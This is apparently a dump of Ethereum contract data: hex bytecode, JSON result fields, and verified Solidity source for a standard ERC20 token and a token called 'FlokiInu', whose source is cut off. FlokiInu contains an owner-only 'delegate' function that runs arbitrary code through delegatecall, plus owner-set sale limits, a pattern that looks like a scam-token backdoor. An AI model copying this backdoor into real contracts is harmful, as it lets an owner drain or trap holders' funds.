e5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a16001905090565b600080600080600560009054906101000a900460ff16151515610cfc57600080fd5b85519250610d138386611bac90919063ffffffff16565b9150600083111515610d2457600080fd5b600085118015610d725750816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b1515610d7d57600080fd5b610dce826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461190290919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600090505b82811015610f6757610e85856000808985815181101515610e3257fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116fe90919063ffffffff16565b6000808884815181101515610e9657fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508581815181101515610eec57fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef876040518082815260200191505060405180910390a38080600101915050610e15565b6001935050505092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610fd057600080fd5b600560009054906101000a900460ff16151515610fec57600080fd5b6001600560006101000a81548160ff0219169083151502179055507f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600481526020017f424f52450000000000000000000000000000000000000000000000000000000081525081565b6000600560009054906101000a900460ff161515156110b257600080fd5b6110bc8383611be7565b905092915050565b6000600560009054906101000a900460ff161515156110e257600080fd5b6110ec8383611e06565b905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156111d757600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151561124f5780600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b50565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561138157600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156113ce57600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561145957600080fd5b6114aa826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461190290919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061153d826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116fe90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061160e82600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461190290919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600080828401905083811015151561171257fe5b8091505092915050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561177a57600080fd5b600360149054906101000a900460ff1615151561179657600080fd5b6117ab826001546116fe90919063ffffffff16565b600181905550611802826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116fe90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff167f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885836040518082815260200191505060405180910390a28273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600082821115151561191057fe5b818303905092915050565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115611a2c576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611ac0565b611a3f838261190290919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000806000841415611bc15760009150611be0565b8284029050828482811515611bd257fe5b04141515611bdc57fe5b8091505b5092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515611c2457600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515611c7157600080fd5b611cc2826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461190290919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611d55826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116fe90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000611e9782600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116fe90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a360019050929150505600a165627a7a7230582055d51bc45d8f679a6f3b7e3751b48b0790cc471f123bb414479a07ff1d5d32ff0029 | {"success": true, "error": null, "results": {}} | 9,841 |
0xe6d22fec081fca20368aefdfcf81c73ab8ce8f93 | /**
*Submitted for verification at Etherscan.io on 2020-10-22
*/
pragma solidity ^0.7.1;
// SPDX-License-Identifier: MIT
/**
* @title SafeMath
* @dev Math operations with safety checks that revert on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers truncating the quotient, reverts on division by zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0); // Solidity only automatically asserts when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
/**
* @dev Adds two numbers, reverts on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
/**
* @dev Divides two numbers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender)
external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value)
external returns (bool);
function transferFrom(address from, address to, uint256 value)
external returns (bool);
event Transfer(
address indexed from,
address indexed to,
uint256 value
);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals, uint256 totalSupply) {
_name = name;
_symbol = symbol;
_decimals = decimals;
_totalSupply = totalSupply;
_balances[msg.sender] = _balances[msg.sender].add(_totalSupply);
emit Transfer(address(0), msg.sender, totalSupply);
}
/**
* @return the name of the token.
*/
function name() public view returns(string memory) {
return _name;
}
/**
* @return the symbol of the token.
*/
function symbol() public view returns(string memory) {
return _symbol;
}
/**
* @return the number of decimals of the token.
*/
function decimals() public view returns(uint8) {
return _decimals;
}
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view override(IERC20) returns (uint256) {
return _totalSupply;
}
/**
* @dev Gets the balance of the specified address.
* @param owner The address to query the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address owner) public view override(IERC20) returns (uint256) {
return _balances[owner];
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param owner address The address which owns the funds.
* @param spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(
address owner,
address spender
)
public
view
override(IERC20)
returns (uint256)
{
return _allowed[owner][spender];
}
/**
* @dev Transfer token for a specified address
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function transfer(address to, uint256 value) public override(IERC20) returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param spender The address which will spend the funds.
* @param value The amount of tokens to be spent.
*/
function approve(address spender, uint256 value) public override(IERC20) returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
/**
* @dev Transfer tokens from one address to another
* @param from address The address which you want to send tokens from
* @param to address The address which you want to transfer to
* @param value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address from,
address to,
uint256 value
)
public
override(IERC20)
returns (bool)
{
require(value <= _allowed[from][msg.sender]);
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
_transfer(from, to, value);
return true;
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed_[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param spender The address which will spend the funds.
* @param addedValue The amount of tokens to increase the allowance by.
*/
function increaseAllowance(
address spender,
uint256 addedValue
)
public
returns (bool)
{
require(spender != address(0));
_allowed[msg.sender][spender] = (
_allowed[msg.sender][spender].add(addedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed_[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param spender The address which will spend the funds.
* @param subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseAllowance(
address spender,
uint256 subtractedValue
)
public
returns (bool)
{
require(spender != address(0));
_allowed[msg.sender][spender] = (
_allowed[msg.sender][spender].sub(subtractedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
/**
* @dev Transfer token for a specified addresses
* @param from The address to transfer from.
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function _transfer(address from, address to, uint256 value) internal {
require(value <= _balances[from]);
require(to != address(0));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
} | 0x608060405234801561001057600080fd5b50600436106100a95760003560e01c80633950935111610071578063395093511461025857806370a08231146102bc57806395d89b4114610314578063a457c2d714610397578063a9059cbb146103fb578063dd62ed3e1461045f576100a9565b806306fdde03146100ae578063095ea7b31461013157806318160ddd1461019557806323b872dd146101b3578063313ce56714610237575b600080fd5b6100b66104d7565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610579565b60405180821515815260200191505060405180910390f35b61019d6106a4565b6040518082815260200191505060405180910390f35b61021f600480360360608110156101c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106ae565b60405180821515815260200191505060405180910390f35b61023f61085e565b604051808260ff16815260200191505060405180910390f35b6102a46004803603604081101561026e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610875565b60405180821515815260200191505060405180910390f35b6102fe600480360360208110156102d257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610aaa565b6040518082815260200191505060405180910390f35b61031c610af2565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561035c578082015181840152602081019050610341565b50505050905090810190601f1680156103895780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103e3600480360360408110156103ad57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b94565b60405180821515815260200191505060405180910390f35b6104476004803603604081101561041157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610dc9565b60405180821515815260200191505060405180910390f35b6104c16004803603604081101561047557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610de0565b6040518082815260200191505060405180910390f35b606060038054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561056f5780601f106105445761010080835404028352916020019161056f565b820191906000526020600020905b81548152906001019060200180831161055257829003601f168201915b5050505050905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156105b457600080fd5b81600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600254905090565b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111561073957600080fd5b6107c882600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610e8690919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610853848484610ea6565b600190509392505050565b6000600560009054906101000a900460ff16905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156108b057600080fd5b61093f82600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610e6790919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b606060048054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b8a5780601f10610b5f57610100808354040283529160200191610b8a565b820191906000526020600020905b815481529060010190602001808311610b6d57829003601f168201915b5050505050905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610bcf57600080fd5b610c5e82600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610e8690919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000610dd6338484610ea6565b6001905092915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600080828401905083811015610e7c57600080fd5b8091505092915050565b600082821115610e9557600080fd5b600082840390508091505092915050565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054811115610ef157600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610f2b57600080fd5b610f7c816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610e8690919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061100f816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610e6790919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a350505056fea2646970667358221220c917acb769e705dcd64a61039e3f0c039402d201caeb5fc8795aa0e06954c80864736f6c63430007010033 | {"success": true, "error": null, "results": {}} | 9,842 |
0xb118735fb6152FD1894B36A9368eC010249D9a0D | pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract FlokiInu {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
